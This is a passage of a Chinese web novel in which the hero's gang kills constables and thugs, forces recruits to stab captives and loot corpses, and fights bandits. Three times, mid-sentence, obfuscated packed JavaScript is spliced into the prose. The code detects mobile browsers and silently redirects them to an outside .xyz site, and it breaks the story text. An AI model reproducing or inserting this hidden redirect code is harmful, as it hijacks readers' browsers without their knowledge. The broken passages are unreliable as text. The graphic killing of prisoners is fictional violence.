“把他们带回去,交给石头处理!” 苏阳对手下的人说道。 “是!” 几个小子答应一声,押着两个官差就往回走。苏阳在那儿挠头,半天憋不出一个字,两个差役的脸色越来越难看。 “哼,我看你小子就是存心耍花招! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038433|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走,跟爷几个衙门里走一趟!” 为首的差役狞笑着,“唰”地一抖手中锁链,就要往苏阳脖子上套。 另一个差役也逼上前来,手里明晃晃的铁链子直晃荡,眼看就要锁住苏阳。 “哎……” 苏阳心里叹了口气。 本想放你们一马,谁知道你们自己往死路上撞。 既然如此,那就别怪我不客气了。 “咦,石头、明志,你们快看,那是什么?” 苏阳突然拔高了嗓门,手指着两个差役的身后,一脸惊诧。 俩差役心里一咯噔,以为真出了什么状况,条件反射般扭头张望。 旁边三个泼皮也踮起脚尖,伸长了脖子。 就连苏阳带来的那些小子,也一个个屏气凝神,死死地盯着差役的身后…… 电光火石之间,苏阳动了! 没人看清他是怎么出手的,只觉得眼前寒光一闪。 扑哧! 扑哧! 扑哧! 利刃刺破皮肉的声音,像是死神敲响的丧钟。 一刀,两刀,三刀! 苏阳的身形快如鬼魅,眨眼间就绕到了一个差役和两个泼皮的身后。 虎头弯刀,刀刀毙命! 等到众人反应过来的时候,那三人已经软绵绵地倒了下去,身下洇开一大滩血迹。 “娘啊!**啦!” 另外那俩货色,发出撕心裂肺的嚎叫。 这哪还是人啊,简直就是从地狱里爬出来的恶鬼! 两人吓得屁滚尿流,转身就跑,恨不得爹娘多生两条腿。 “都愣着干什么?给我上啊!” 苏阳一声怒吼,把那些吓傻了的小子们震醒。 路旭东一个激灵,回过神来。 他懊恼地一拍大腿,恨自己刚才怎么就着了道。 眼下也顾不得多想,他一把抄起手边的木棒,对准一个泼皮的后心“噗”的捣了过去! 那泼皮正没命地往前跑,冷不防后心挨了一记闷棍,顿时一个狗啃屎扑倒在地。 “**,让你跑!” 路旭东还不解气,又狠狠地补了两棍子,打得那泼皮杀猪般地嚎叫。 周阳也回过味儿来,可他毕竟慢了半拍,等他抡起木棒想去追那个差役的时候,人家已经跑出去十几步远了。 “阳哥儿,我对不住你啊……” 周阳急得直跺脚,眼泪都快下来了。 孔远山倒是想表现表现,可一想到要跟官差动手,两条腿就忍不住打颤。 第一百五十一章 平时耍耍嘴皮子还行,真要动刀动枪,他比谁都怂。 剩下那帮家伙,要么是没反应过来,要么就是心里害怕,一个个杵在那里,像个木头桩子。 苏阳带来的十来个人,愣是没一个能顶上去的! 苏阳连杀三人之后,便停了手。 他冷眼旁观,想看看这帮小子在关键时刻能有几分能耐。 结果,大失所望。 除了路旭东还算有点血性,敢打敢拼,其他人简直就是一帮怂货! 早知道这样,还不如自己一个人单干呢! “都**愣着干啥?没看到还有个差役跑了吗?追啊!” 苏阳恨铁不成钢地吼道。 路旭东闻言,二话不说,拔腿就追。 可他刚跑出没几步,突然想起什么,又急匆匆地折了回来。 “阳哥儿,**!用**!” 他一边喊着,一边从牛车上取下了一把蹬张**。 其他人这才如梦初醒,一个个手忙脚乱地在车上翻找起来。 “嘣!” 路旭东举起蹬张**,瞄准那差役的背影,扣动了**。 **箭破空而出,发出一声尖啸。 只可惜,准头差了点,没能射中要害。 “哎呀,歪了!” 路旭东懊恼地一拍大腿。 “没事,射中屁股也够他受的了!” 苏阳在一旁说道。 话音未落,就听见那差役“嗷”的一声惨叫,一头栽倒在地。 蹬张**的力道,可比一般的弓箭大多了,这一箭下去,直接射穿了差役的半边屁股! “都别愣着了,赶紧过去看看!” 苏阳见那差役倒地不起,连忙招呼其他人。 “留两个人在这儿看着**,以防万一!” 他想了想,又补充了一句。 几个小子一听,这才反应过来,远程武器的重要性。 “阳哥儿,还是你想的周到!” 路旭东由衷地佩服道。 “少拍马屁,赶紧干活!” 苏阳没好气地瞪了他一眼。 几个小子连忙收起心思,七手八脚地把受伤的差役和泼皮拖到了一起。 “阳哥儿,你看这俩小子,咋整?” 路旭东指着被捆得结结实实的两个人,问道。 “先别管他们,赶紧把现场收拾干净!” 孔远山突然插嘴道。 “对对对,先把这里收拾干净再说!” 其他人也纷纷附和。 虽然有人对孔远山这种事后诸葛亮的行为感到不爽,但不得不承认,他说的有道理。 众人立刻行动起来,将尸体和伤员全都抬进了路边的小树林。 就连那辆牛车,也被赶了进去,免得被人发现。 对于地面上的血迹,他们也没有放过。 这些庄稼汉,干起这种活来,那叫一个熟练。 没多大一会儿,现场就被清理得干干净净,一点痕迹都看不出来。 苏阳站在一旁,脸色阴沉得像是要滴出水来。 “哼,要是打架的时候也能这么利索,哪还用得着我出手?” 他冷冷地说道。 一众小子一个个低着头,大气都不敢出。 他们心里都明白,这次是真把苏阳给惹恼了。 “阳哥儿,我们错了……” 路旭东低声说道。 “错哪儿了?” 苏阳冷冷地问道。 “我们……我们不该……” 路旭东支支吾吾,半天也说不出个所以然来。 “行了,都别说了,赶紧把人处理了!” 苏阳不耐烦地摆了摆手。 他现在只想赶紧把这事儿了结,然后回去好好操练操练这帮不成器的家伙!苏阳扫了一眼跃跃欲试的手下们,嘴角微微上扬。 他当然知道这些家伙心里打的什么算盘,无非是想在自己面前好好表现一番。 不过,苏阳并不打算直接点破。 “都别急,有的是机会。” 苏阳慢悠悠地说道,目光却落在了那两个俘虏身上。 “你们几个,把他们分开,单独审。记住,别让他们**。” “是,阳哥儿!” 几个手下应了一声,摩拳擦掌地走向那两个俘虏。 这伙人一共五个,三个泼皮被苏阳直接打倒,一个被路旭东一闷棍敲晕,另一个更惨,屁股上挨了路旭东一**箭。 好在,人都还活着。 这片小树林虽然不大,但把这两个家伙分开审问还是绰绰有余的。 至于他们能不能听到彼此的声音,苏阳根本不在乎。 他本来也没指望能从这两个家伙嘴里问出什么惊天动地的大秘密,不过是抱着试试看的态度,顺手牵羊罢了。 没想到,这一试,还真就试出了点名堂。 原来,这三个泼皮并不是像无 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苏阳的声音冰冷。 “把清阳县最近发生的所有事情,都给我问出来,不管大事小事,一个字都不准漏!” 苏阳需要尽可能多的信息。 他不是这个时代的土著,获取信息的渠道有限。 而这两个泼皮,虽然只是小喽啰,但毕竟在清阳县混迹多年,多少知道一些内幕消息。 “尤其是凤子楼,还有青虎岭,有什么风吹草动,都给我问清楚了。” 苏阳特意强调。 他已经和这两方势力结下了梁子,必须时刻掌握他们的动向。 两个泼皮为了活命,竹筒倒豆子一般,把自己知道的事情全都说了出来。 苏阳仔细听着,把那些家长里短的琐事过滤掉。 “凤子楼……最近好像是有点不对劲。” 一个泼皮说道。 “肥掌柜的……好像瘦了,脸色也不大好,像是生了病。” “还有他那三个儿子,好久没见着了,也不知道去哪儿了。” 另一个泼皮补充道。 “有人说……那伙山贼把他们掳走了……” 苏阳眉头一皱。 这些消息,有些他知道,有些**。 第一百五十二章 看样子,凤子楼确实出了什么变故。 “还有呢?” 苏阳追问。 “还有……肥掌柜家里,最近好像来了不少亲戚……” 一个泼皮的声音有些颤抖。 “那些人……看着都挺吓人的,不像是什么好人……” “他们还欺负街坊邻居,调戏人家的媳妇……” 另一个泼皮也跟着说道。 “我还听说……肥掌柜家里,晚上经常传出哭声……怪吓人的……” 苏阳越听越觉得不对劲。 这些信息,虽然零零碎碎,但却透露出一股诡异的气氛。 他隐约感觉到,凤子楼的肥掌柜,恐怕是遇到了**烦。 莫非,和青虎岭有关? 苏阳心中猜测,却不敢肯定。 但他明白,这对自身是个机会。如果能趁机削弱凤子楼的势力,对自己接下来的行动会大有帮助。 “你们几个,都过来。” 苏阳把手下们召集到一起。 “这两个家伙,你们说,该怎么处置?” 他缓缓问道,语气中带着一丝考校的意味。 路旭东、周阳等几个老油条,一听这话,心里顿时明白了七八分。 阳哥儿这是又在出题考人了! 上次林韧那傻小子,就是没答好,结果被阳哥儿冷落了好一阵子。 这次可不能再犯同样的错误了! 几个人交换了一下眼神,都默不作声,静观其变。 而那些新来的,却一个个跃跃欲试,争先恐后地发表自己的看法。 “阳哥儿,我觉得应该把他们交给官府!” “不行不行,官府那些人,都是**不吐骨头的,还不如直接打一顿算了!” “要我说,干脆把他们带回青龙村,让他们给咱们干活!” …… 各种各样的意见都有,却没一个能说到点子上。 路旭东和孔远山暗自摇头,这些新人还是太嫩了。 苏阳看着这些手下,心中暗笑。 他故意顿了顿,然后把目光投向了林韧。 “林韧,你来说说。” 苏阳的声音不大,却带着不容置疑的威严。 “这两个家伙,该怎么处置?把你的理由说清楚,让大家都听明白。” 林韧一愣,随即心中狂喜。 阳哥儿这是又给了自己一次机会啊! 他深吸一口气,努力让自己平静下来。 “上次没答好,这次可不能再出丑了!” 他在心里暗暗给自己打气。 “咳咳……” 林韧清了清嗓子,正要开口。 “慢着!” 路旭**然打断了他。 “阳哥儿,这不公平!” 他大声说道。 “上次就是林韧,这次怎么还是他?该轮到我们了吧!” “就是,凭什么好事都让他占了?” 周阳也跟着附和。 “阳哥儿,您可不能偏心啊!”“阳哥儿,这不公平!” 路旭东声如洪钟,震得人耳膜发颤。他一步跨出,蒲扇般的大手在胸前拍得山响。 “**都是林韧,啥时候能轮到俺们?” 周阳也急了,脚尖点地,身子前探,像只准备扑食的豹子。抢功这种事,谁落后谁难受: “就是,阳哥儿,您可不能厚此薄彼!” 另一边,几个新来的还在那儿嘀咕,“练习实战”是个啥玩意儿,这边厢,机会就砸头上了。 苏阳眼神在新人们身上转了一圈,最后落在两个跪地求饶的倒霉蛋身上,嘴角微微上扬。 要见血? 那必须得新人上啊。 至于林韧、路旭东他们几个,来日方长,急啥? “这……” 几个新人你瞅瞅我,我瞅瞅你,谁也没敢先动手。 俩俘虏为了保命也是豁出去了,哭得那叫一个惊天动地: “好汉爷饶命!我们上有老母,下有小儿,一家老小都指着我们养活呢!” 其中一个边哭边拿脑袋撞地,咚咚直响,不知道的还以为在磕头。 另一个则死死抱住一个新人的腿,鼻涕眼泪蹭了那人一裤腿。 听着这鬼哭狼嚎,几个新人汗**都竖起来了,手也开始打颤。 **? 他们以前别说**,杀鸡都不敢! 旁边,二小子和四獠子看得那叫一个火冒三丈。 “混账东西!” 二小子气得直跳脚,眼珠子瞪得像牛眼。 四獠子也咬牙切齿,恨不得把那两个活剥了: “上次凤子楼的钱远就用这招,差点儿坑死咱们!” 上次因为轻信钱远的鬼话,他们被其他人一顿好嘲笑,还差点被苏阳踢出去,这事儿在他们心里就是一根刺。 现在这俩家伙又玩这一套? “这词儿不是钱远发明的,是他们这帮人的标准配置!” 二小子总算回过味儿来了, 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一个新人哭丧着脸,小心翼翼地问道。 他现在只想离这俩瘟神越远越好。 苏阳脸色一沉,眼神像两把锋利的刀子,从几个新人脸上扫过: “自己闯的祸,自己收拾!” “心慈手软,也要有心理准备。万一被他们反咬一口,可别怪别人。” 他停顿了一下,语气稍微缓和: “放心,你们要是有个三长两短,我们会回去报信,让你们家人来收尸。” “收尸”两个字,他说得格外重。 “啥?收……收尸?” 几个新人吓得一激灵,差点没尿出来。 旁边三具血淋淋的尸体还冒着热气,那场面,比话本里的阎罗殿还吓人。 “这……” 几个新人腿肚子直转筋,感觉像是踩在苏彩上,随时都会掉下去。 孔远山觉得是时候闪亮登场了,他一个箭步冲出来,指着几个新人的鼻子就开骂: “一群蠢货!他们说谎你们都听不出来?” “就你们这熊样,还跟着阳哥儿混?丢人现眼!” 他唾沫阳子四溅,一副痛心疾首的模样。 第一百五十三章 几个新人心里那叫一个憋屈。 可苏阳和孔远山都把话说到这份上了,他们再不明白就是真傻了。 “你们……你们撒谎?” 一个新人指着地上的俘虏,声音发抖。 他多么希望这两个家伙能摇头否认。 “没有,绝对没有!” “我们说的句句属实,天地良心!” 俩俘虏还在那儿赌咒发誓,眼泪鼻涕横流,肠子都悔青了。 “大爷们行行好,高抬贵手,放我们一条生路吧!” 另一个俘虏也跟着哀求,恨不得给几个新人跪下。 他们心里那个恨啊,好好的日子不过,非得招惹这帮杀神。 “能活着回去,我一定金盆洗手,再也不干这缺德事儿了!” 其中一个俘虏在心里默默发誓,已经开始畅想美好的未来了。 “当然,金盆洗手之前,这仇必须得报!等老子脱身,非弄死这帮小兔崽子不可!” 另一个俘虏也下定了决心,眼中闪过一丝阴狠。 几个新人又开始动摇了。 同情是一方面,关键是他们真不敢**,尤其其中一个还是官差。 这要是杀了官差,那可是掉脑袋的重罪! 可看到苏阳真的要走,他们立马不敢再犹豫了,一个个手忙脚乱地拿起**,可手抖得比拨浪鼓还厉害。 “没出息的玩意儿!用**算什么本事?用枪!” 孔远山扯着嗓子吼道,脸红脖子粗。 上次他想用**,被苏阳一顿臭骂,这次终于逮到机会了,必须得好好表现。 几个新人虽然心里不服,可苏阳没发话,他们只能乖乖放下**,换上**。 冰凉的枪杆握在手里,让他们心里更加慌乱。 经过一番激烈的心理斗争,几个新人终于拿定了主意。 跟苏阳混,至少有口饱饭吃。 至于这两个家伙,是死是活,就听天由命吧。 “噗嗤!噗嗤!噗嗤!” …… **刺入肉体的声音,接连不断,让人毛骨悚然。 大多数人都因为紧张没刺中要害。 没关系,苏阳说了,多捅几次,总能捅死。 十几下之后,两个俘虏的声音越来越小,身体抽搐了几下,彻底没动静了。 鲜血染红了地面,像一条蜿蜒的小河。 目睹两具残破不堪的尸首,孔远山他们几个下意识地往后退了几步,和几个新人保持距离。 他们心里清楚,接下来还有更难熬的。 苏阳走到几个新人跟前,拍了拍他们的肩膀: “不错,有进步,去,把尸体搜一遍,看看有没有值钱的东西。” “啊?” 几个新人差点儿没当场哭出来,不,是差点儿吐出来。 把人捅成马蜂窝已经够反胃了,还要搜尸? 这简直比杀了他们还难。 “呕……” 一阵阵干呕声,连绵不绝。 吐也没用,几个新人强忍着恶心,哆哆嗦嗦地把尸体搜了个遍,搜完之后,一个个都快虚脱了。 “呼……” 几个新人如释重负,以为总算熬过去了,长长地出了一口气。 孔远山心里暗笑: “这就完了?想得美!更刺激的还在后头呢!” 他甚至有些期待看到几个新人崩溃的样子了。 果然,苏阳又发话了,语气很平淡: “顺便把那三具尸体也搜一下,别厚此薄彼。” “我……” “呕……” 几个新人彻底崩溃了,胃里翻江倒海,脸色比纸还白。 那种黏糊糊、湿漉漉的感觉,还有令人作呕的血腥味和腐臭味,简直要了他们的命! 可再难受也得忍着。 听苏阳的,还是不听? 根本不用想,不听话的下场,他们可是亲眼见过的,和四就是前车之鉴。 苏阳看着几个新人乖乖去摸尸,心中并无多少波澜。 他要的,就是这种效果。 只有经历过生死,才能真正成长。 只有绝对的服从,才能打造出一支铁血队伍。 就在这时,周阳神色慌张地跑了过来,打断了苏阳的思绪: “阳哥儿,远方驶来一架豪华马车,还有几名骑士策马而来,都带着家伙,怕是来者不善!”冬日,官道旁。 稀疏的树林里,苏阳一行人正藏身于此。 “都**给老子憋住了,谁都不许出声!” 苏阳压低嗓音,对身旁的手下们叮嘱着。 即便行人稀少,可万一呢? 不多时,一阵急促的马蹄声,伴随着车轮滚滚,自远方传来。 苏阳的心,不由得提了起来。 “吁——” “吁——” 出乎意料,几声长嘶,马车竟在树林外戛然而止! “**,这 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苏阳示意他们赶紧把地上的尸体挪到牛车后面去。 “动作都麻利点,把尸体藏严实了!血迹一时半会儿弄不干净,可也别让他们一眼就瞧见了!” 几个小子虽然紧张,倒也还算机灵,立刻分头行动。 片刻之后,尸体被尽数藏好。 原本握在手中的兵刃,也被收了起来,只留下了几根不起眼的棍棒,像是随手捡来防身用的。 刚准备妥当,几个身材魁梧的壮汉,便牵着马,拽着马车,大摇大摆地走进了树林。 “嘎——” 仿佛被施了定身法,两拨人同时愣在了原地。 “这……” 那几名壮汉显然没有料到,这片不起眼的小树林里,竟然会藏着这么多人! 而且,看这阵仗,好几辆牛车,十几头壮牛,后备箱塞满了东西,明显不是一般的路人! “你……你们……” 先前问话的那个声音,此刻也结巴了起来, “你们是……” 还是那低沉沙哑的声音反应快,干咳了两声: “咳咳……原来这里有人了。” “那什么,打扰了,换个场子歇会儿… 第一百五十四章 …” 说着,他一挥手,示意手下们后退。 不过,这帮人倒也谨慎,并没有直接转身离开,而是面对着苏阳等人,一步一步地向后挪动,眼神中充满了戒备。 苏阳没有说话,只是静静地看着他们。 他在等,等一个时机。 对方虽然人多势众,但苏阳也不是吃素的。 只是,眼下还有更重要的事要办,实在不宜节外生枝。 “这些家伙,一看就不是什么好鸟,真动起手来,就算能赢,恐怕也要付出不小的代价。” 苏阳心里暗暗盘算着。 “得不偿失。” “呼……” 那家伙马上就要溜出林子了,苏阳甚至能听到身旁几个小子如释重负的喘气声。 “看来,不动手是对的。” 他心想。 就在这时,那被称为“弓哥”的壮汉,突然停下了脚步。 脸上的紧张之色,也随之消失不见,取而代之的,是一抹狡黠的冷笑。 “我还当是什么了不得的人物,原来是一群毛都没长齐的小崽子!” 他冷哼一声,打破了沉默。 其余几人,也像是突然回过神来,纷纷停止了后退。 “弓哥,您真是火眼金睛!这几个小子,一看就是没见过世面的雏儿!” “嘿嘿,这身衣服倒是不赖,说不定是哪家少爷带着家丁出来游玩呢!” “还有这么多牛和车,车上肯定有不少好东西!” “弓哥,咱们这回可真是撞大运了!” “……” 几个人七嘴八舌地说着,看向苏阳等人的眼神,也变得贪婪起来。 “这几个小子,细皮嫩肉的,一看就是有钱人家的少爷。” “没想到,竟然会在这荒郊野外遇到,真是天助我也!” 那弓哥心里暗自得意。 “这帮小兔崽子,居然敢无视老子?” “等会儿,有你们好受的!” 他正要有所动作,却见苏阳依旧一动不动地站在那里,不由得眉头一皱。 “嗯?” “这帮小子,怎么还不说话?” 弓哥心里有些不爽。 这些日子,他们打家劫舍,早就嚣张惯了。 哪次不是对方吓得屁滚尿流,跪地求饶? 今天这是怎么了? 遇到几个乡巴佬,居然敢无视自己? 简直是岂有此理! “好,好,好!” 弓哥怒极反笑,连说了三个“好”字, “既然你们敬酒不吃吃罚酒,那就别怪老子不客气了!” 他大手一挥,对着身旁两人吩咐道: “虎蛋,虎娃,你们两个,过去给这帮小兔崽子松松筋骨!” “不用留手,给我往死里打!打到他们跪地求饶为止!” “好嘞,弓哥您就瞧好吧!” 那两个被点名的壮汉,狞笑着应了一声。 其中一个,从腰间抽出了一把明晃晃的**。 另一个,则从地上捡起了一块磨盘大小的石头。 两人气势汹汹地朝苏阳等人走了过来。 那使**的,直奔苏阳。 那抱石头的,则走向了周阳。 “嘿嘿嘿,小兔崽子们,今天就让你们尝尝爷爷的厉害!” 那使**的壮汉,一边说着,一边挥舞着手中的**,朝着苏阳当头劈下! “小子,乖乖把值钱的东西交出来,不然,爷爷这块石头,可不认人!” 那抱石头的壮汉,则恶狠狠地瞪着周阳,威胁道。 苏阳看着那当头劈下的**,眼中闪过一丝寒芒。 他并没有躲闪,而是不退反进,一个箭步冲了上去! 与此同时,他藏在袖中的虎头弯刀,也闪电般地刺了出去! 这一刀,又快又准,直奔那壮汉的咽喉! 那壮汉根本没有料到,眼前这个看似文弱的少年,竟然敢主动攻击自己! 他甚至连惨叫声都没来得及发出,就捂着脖子,倒在了地上。 另一边,周阳也没有闲着。 他虽然没有苏阳那般果决,但也不是任人宰割的羔羊。 见那抱石头的壮汉朝自己走来,周阳不慌不忙,假装害怕,连连后退。 待那壮汉靠近,他突然一个侧身,躲过了对方砸来的石头! 与此同时,他藏在袖中的**,也闪电般地刺入了对方的小腹! 这一刀,虽然没有要了那壮汉的性命,却也让他失去了战斗力。 原来,古人的衣袖都比较宽大,在里面藏一把**,根本看不出来。 像苏阳和周阳这样,出手前毫无征兆,更是让人防不胜防。“都**别废话!先干了再说!” 苏阳一声低吼,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051293|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给对方反应的时间,顺手从身旁的牛车上抽出一张早已上好弦的蹬张**。 这突如其来的一幕,让剩下的三个壮汉稍稍一愣。 独眼豹那声惨叫,他们还当是这小子兴奋过头了,谁**能想到,竟然是这帮小兔崽子先动的手! 这身手真是个狠人,几乎是下意识的反应,三个壮汉“唰”地一下就闪到了几棵大树后。 几乎是同一时间,三人反手就从背上摘下了弓,箭矢搭在弦上,连瞄准都来不及,朝着苏阳一行人就是一通乱射! 然而,这仓促之间的应对,却给了苏阳可乘之机。 电光火石之间,苏阳已经锁定了其中一个壮汉,手指一扣,**箭破空而出,正中那人的肩膀! “啊……” 弓箭“哐当”一声掉落在地,壮汉的惨叫声在树林里回荡。 周阳的反应稍微慢了半拍,当他掏出大弓的瞬间,另外两个莽夫早就躲在大树背后当缩头乌龟,随即放箭直取他们性命。 “呃啊!” 周阳身旁的二小子惨叫一声,身子一歪,显然是中箭了! 嘣! 就在这时,路旭东的**矢也已离弦,一个壮汉躲闪不及,大腿上结结实实地挨了一下! 紧接着,嘣嘣嘣的**弦声此起彼伏,其他小子们也陆陆续续反应过来,扣动了**机,朝着对方藏身的地方还击。 可惜,除了苏阳一开始射中的那个倒霉蛋,身上又挨了几箭,眼瞅着就要不行了之外,另外两个壮汉都躲得严严实实。 “弓哥……点子扎手!您……您快走!给……给兄弟们报仇!” 唯一没受伤的,就是被称作弓哥的壮汉。此刻,他双眼通红,布满血丝,牙齿咬得咯咯作响,像是要择人而噬的野兽。 “狗杂碎!敢动我们青虎岭的人,你们这是……自寻死路!” 弓哥的声音嘶哑,每一个字都像是从牙缝里挤出来的,威胁的话还没吼完,就猛地感觉风声不对。 几乎是出于求生的本能,弓哥猛地一侧身,却还是晚了一步。 “噗嗤!” 一支**箭,狠狠地扎进了他的后腰! “呃……” 弓哥闷哼一声,手里的弓箭差点掉在地上。 苏阳瞳孔微微一缩,心头一沉,竟然是青虎岭的土匪! 这帮家伙,居然敢在光天化日之下拦路**,胆子也太大了! 第一百五十五章 “凤子楼的肥掌柜,出钱请我们来,就是要灭了你们青虎岭!” 苏阳故意扯着嗓子喊,声音里带着一丝戏谑,继续挑拨。 “放**屁!死肥猪……他敢!” 大腿受伤的土匪抱着腿,疼得龇牙咧嘴,破口大骂。 “弓哥……你……你快走,别管我!回去……告诉麻当家、四当家,小心……小心那个死肥猪,还有……还有清阳县的顾师爷!” 苏阳心里咯噔一下,这事还牵扯到清阳县的顾师爷? “**,要不是那个姓肖的……硬是要把我们困在清阳县,咱们兄弟哪会死这么多人!”弓哥的怒骂声中,带着深深的怨恨。 苏阳并没有急着动手,而是冷静地观察着周围的动静。 他一边示意身边的小子们抓紧时间给**上弦,一边暗暗思忖着对策。 他很清楚,眼前这帮家伙虽然凶悍,但毕竟人数不多,而且已经有两个受了伤。 只要自己这边不乱了阵脚,完全有机会将他们全部拿下。 不过,听对方话里的意思,这件事情似乎并不简单,背后还牵扯到清阳县的官府,甚至还跟那个神秘的顾师爷有关…… 这潭水,似乎比自己想象的还要深啊! 就在苏阳思索的片刻,受伤的土匪似乎也下定了决心。 他咬紧牙关,猛地从树后冲了出来,举起手中的弓箭,朝着路旭东所在的小组就射了过去! “放箭!” 路旭东低吼一声,手里的盾牌猛地向前一顶! “当!” 箭矢狠狠地撞在盾牌上,发出沉闷的声响。 与此同时,他身后的几个小子,几乎同时扣动了**机! 嗖嗖嗖! 几支**箭,朝着那土匪飞射而去! 那土匪射出一箭之后,似乎也知道自己凶多吉少,竟然不躲不闪,反而挺起了胸膛! 噗嗤!噗嗤! 两支**箭,几乎同时射中了他的胸口! “呃……” 那土匪的身子猛地一颤,缓缓地倒了下去,手里的弓箭也无力地滑落在地。 而就在这千钧一发之际,那个弓哥竟然没有趁机逃跑,反而从另一棵树后冲了出来,朝着苏阳这边就是一箭! “小心!” 周阳惊呼一声,下意识地想要推开苏阳。 然而,苏阳的反应更快,他猛地一侧身,躲过了这突如其来的一箭! 几乎是同一时间,苏阳手中的**也已经瞄准了弓哥! 嘣! **箭离弦,朝着弓哥飞射而去! 弓哥的反应也算迅速,在射出那一箭之后,就立刻闪身躲避。 可惜,他还是慢了一步,**箭虽然没有射中他的要害,却狠狠地扎进了他的大腿! “啊!” 弓哥惨叫一声,身子一个趔趄,险些摔倒在地。 他顾不上疼痛,挣扎着想要逃跑。 可就在这时,他突然发现,自己竟然已经被几个手持劲**的小子给包围了! 这些小子,一个个的脸上都带着一丝兴奋,眼神中却透着一股子狠劲,显然是已经做好了拼命的准备。 弓哥心里头一凉,他知道,自己这次恐怕是在劫难逃了。 “**,跟他们拼了!” 就在弓哥绝望之际,他突然看到不远处有一匹马,那是他们之前骑来的! 他眼睛一亮,仿佛看到了最后一线希望,拼尽全身的力气,朝着那匹马扑了过去! “快,拦住他,别让他上马!” 苏阳一看这架势,哪还不知道对方想干什么,连忙大声喊道。 几个小子反应过来,立刻朝着弓哥追了过去! 弓哥也知道这是自己最后的机会,他强忍着大腿上的剧痛,拼命地往前跑。 眼瞅着就要跑到马跟前了,他纵身一跃,想要跳上马背! 可惜,他受伤的腿根本使不上力,身子在空中划过一道弧线,重重地摔在了地上! “抓住他!” 几个小子一拥而上,将弓哥死死地按在了地上。“都**愣着干啥?**吗!” 苏阳一声怒吼,眼睁睁地看着弓哥骑马冲出了树林,像条丧家之犬一样狂奔而去,转眼就没了踪影。 “他奶奶的,还是让他给跑了!” 路旭东跺着脚,一脸的懊恼,却被苏阳拦了下来。 “追不上了。” 苏阳的脸色也不好看,煮熟的鸭子飞了,任谁都不会有好心情。 “这货骑在马背上,咱们两条腿跑不过四个轮子。” 其实林子里还拴着几匹马,但苏阳心里和明镜似的,就手下这帮小子那骑术,还不如两条腿跑得快。 “阳哥儿,那……那现在咋办?” 路旭东急了,平时挺有主意的一个人,现在也乱了方寸。 “凉拌!” 苏阳没好气地白了他一眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055353|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “赶紧清点伤亡,看看都有谁挂彩了!” 苏阳心里头也憋着火。 他本想把这伙人一锅端,没想到还是被跑了一个。 不过,转念一想,跑了一个也好。 凤子楼的肥掌柜想阴老子? 没门! 苏阳的嘴角勾起一抹冷笑,这次的事没完。 他要把水搅浑,让肥掌柜也尝尝被人算计的滋味! 当然,苏阳也不是全无顾虑。 那弓哥要是回去找肥掌柜对质,自己这伙人的相貌特征一暴露,很容易被人猜出来历。 看来,得抓紧时间招兵买马了。 苏阳心里盘算着,青龙村和青虎岭的土匪早晚都有一战,自己必须得早做准备。 “旭东,你带几个机灵的放哨,剩下的人,赶紧看看谁受伤了!” 苏阳定了定神,有条不紊地吩咐下去。 “快,都动起来!” 路旭东回过神,扯着嗓子吼了一句。 众人这才如梦初醒,乱哄哄地开始行动。 不多时,就有了结果。 “阳哥儿,两个,伤了两个!” 一个小子气喘吁吁地跑过来报告。 “谁?” 苏阳眉头一皱。 “二小子,还有……褚勇。” “褚勇?**,怎么哪儿都有他!” 苏阳忍不住骂了一句。 褚勇是路旭东带来的刀盾手,平时就喜欢偷奸耍滑,没想到这次也挂了彩。 “伤哪儿了?” “褚勇是大腿,二小子……是肩窝。” “肩窝?!” 苏阳心里咯噔一下,肩窝可是要害,一个不好,人就没了。 他来不及多想,三步并作两步来到二小子身边。 几个小子正手忙脚乱地按着二小子,疼得他龇牙咧嘴,直哼哼。 “都让开!” 苏阳低喝一声,分开众人。 只见二小子脸色煞白,肩头血糊糊的一片。 苏阳小心地撕开二小子肩头的衣服。 箭头深深地扎进了肉里,看着都疼。 万幸,箭上没倒刺。 “二小子,挺住了!” 苏阳沉声说道,也不管二小子能不能听清,两根手指捏住箭杆,猛地一拔! “嗷——!” 杀猪般的嚎叫声响彻树林,血箭喷射而出,溅了苏阳一脸。 第一百五十六章 “按住!按住伤口!” 苏阳大吼着,自己也扑上去,用棉布死死地按住二小子的伤口。 好半天,血才慢慢止住。 “远山呢?让他烧草木灰去!” 苏阳头也不抬地喊道。 那边褚勇也受了伤,苏阳没时间耽搁。 跑到褚勇身边,如法炮制。 好在褚勇只是大腿受伤,没伤到要害。 处理完伤口,孔远山也捧着烧好的草木灰回来了。 苏阳直接把草木灰往伤口上一糊,再用棉布一包扎,也顾不上许多了。 能不能活下来,就看他们运气如何了。 “阳哥儿,人……都没气了。” 孔远山的声音又响了起来,带着一丝兴奋,也有一丝紧张。 苏阳知道他想干什么,点点头,算是默许了。 